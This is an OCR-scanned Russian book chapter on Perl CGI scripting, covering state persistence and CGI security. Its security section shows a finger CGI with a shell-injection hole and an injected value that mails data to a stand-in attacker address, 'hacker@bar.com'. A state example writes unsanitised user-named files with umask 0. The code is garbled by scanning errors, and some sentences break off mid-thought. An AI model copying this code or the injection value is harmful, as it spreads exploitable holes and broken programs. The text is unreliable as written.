    После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой, - страницу HTML, изображение, текст или что-либо еще. Среди CGI-программ, поставляемых с сервером Apache, есть nph-test-cgi и test-cgi, которые хорошо демонстрируют разницу между заголовками в стилях nph и не-nph, соответственно.

    В этом разделе мы будем использовать библиотеки CGI.pm и cgic, в которых есть функции для вывода заголовков как HTTP, так и HTML. Это позволит вам сосредоточиться на выводе собственно содержания. Эти вспомогательные функции использованы в примерах, приведенных ранее в этой главе.



    Важные особенности сценариев CGI

    Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

    Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

    Запоминание состояния

    Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом "без памяти". Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

    Важные особенности сценариев CGI
    Рис. 9-2. Множественные запросы форм

    Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.


    В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

    Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

    Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. "Официально" он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные "боковые ветви". Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.


    Многие сайты по- прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле "имя регистрации/пароль". Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

    Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

    Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.


    Пример 9-4. Сохранение состояния в сценарии CGI

    #!/usr/bin/perl -w

    use CGI;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    # Это файл, который будет выводиться, может быть любым.

    $output = new CGI;

    sub print_range { # Это главная функция программы, my $start = shift;

    # Начальная строка файла, my $count = 0;

    # Указатель, my $line = "";

    # Текущая строка файла, print $output->header,

    $output->start_html('Moй словарь');

    # Создает HTML с заголовком 'Мой словарь', print "\n";

    while (($count < $start) and ($line = )) { $count++; }

    # Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? ) ) { print $line; $count++; }

    # Напечатать очередные 10 строк.

    my $newnext = $start+10; my $newprev = $start-10;

    # Установить начальные строки для URL 'Next' и 'Previous',

    print "";

    unless ($start == 0) { # Включить URL 'Previous', если только вы

    # уже не в начале .

    print qq%Previous%; }

    unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

    print qq% Next%;

    }

    print "HTML; HTML

    exit(0); }

    # Если данных нет, начать сначала,

    if (not $output->param) {

    &print_range(0); }

    # Иначе начать со строки, указанной в данных.

    &print_range($output->param('start'));

    В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

    Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.


    Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

    - Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

    Пример 9-5. Устойчивое запоминание состояния

    #!/usr/bin/perl -w

    use CGI;

    umask 0;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    chdir("users") or die("He могу перейти в каталог $!");

    # Это каталог, где будут храниться все данные

    # о пользователе.

    Soutput = new CGI;

    if (not$output->param) {

    print $output->header,

    $output->start_html('Мой словарь');

    print "HTML;



    <р>Введите свое имя пользователя:





    HTML

    exit(0); }

    $user = $output->param('username');

    ## Если файла пользователя нет, создать его и установить

    ## начальное значение в '0',

    if ( not -e "$user" ) {

    open (U, ">$user") or die("He могу открыть! $!");


    print U "0\n";

    close U;

    &print_range('0');

    ## если пользователь существует и в URL не задано

    ## начальное значение, прочесть последнее значение и начать с него.

    } elsif ( not $output->param('start') ) {

    open(U,"Suser") or die("He могу открыть пользователя! $!");

    $start = ; close U;

    chomp $starl;

    uprint range($start);

    ## Если пользователь существует и в URL не указано

    ## начальное значение, записать начальное значение

    ## в файл пользователя и начать вывод.

    } else{

    open(U,">$user") or die("He могу открыть пользователя для записи! $!");

    print U $output->param('start'), "\n";

    close U;

    &print_range($output->param('start1)); }

    sub print_range {

    my $start = shift;

    my $count = 0;

    my $line = " "

    print $output->header,

    $output->start_html(' Мой словарь ');

    print "
    \n";

    while (($count < $start) and ($line = )) { $count++; }

    while (($count < $start+10) and ($line = ) )

    {

    print $line; $count++;

    }

    my $newnext = $start+10;

    my $newprev = $start-10;

    print "
    ";

    unless (Sstart == 0)

    {

    print

    qq%

    Previous
    %;

    }

    unless (eof) { print qq% Next%;

    # Заметьте, что имя пользователя 'username' добавлено к URL.

    # В противном случае CGI забудет, с каким пользователем имел дело.

    }

    print $output->end_html;

    exit(0');

    }

    Меры безопасности

    При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

    CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:


    #!/usr/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output"param('username');

    print $output->header, $output->start_html('Finger Output'),

    "
    ", 'finger $username', "
    ", $output->end_html;

    Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе "fred" на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com
    Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ ";" и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

    #!/usr/local/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output->param('username');

    $|++;

    # Отключить буферизацию с целью направления всех данных клиенту,

    print $output->header, $putput->start_html('Finger Output'), "
    \n";


    $pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

    # канал между родительским и дочерним процессами,

    if ($pid) {# Это родительский процесс.

    print ; ft Вывести выходные данные дочернего процесса.

    print "
    ", $output->end_html;

    exit(O); ft Завершить программу. }

    elsif (defined $pid) { # Это дочерний процесс.

    $|++; # Отключить буферизацию.

    ехес('/usr/bin/finger',$username) or die("exec() call failed.");

    # Выполняет программу finger с Susername в качестве одного единственного

    # аргумента командной строки. } else { die("неудачная попытка fork()"); }

    # Проверка ошибок.

    Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com
    Важные особенности сценариев CGIВ качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

    Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как "nobody", имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.


    Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как "nobody", только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

    Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

    Что еще можно почитать

    Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. "CGI Programming on the World Wide Web" издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/.



    

        Базы данных: Разработка - Управление - Excel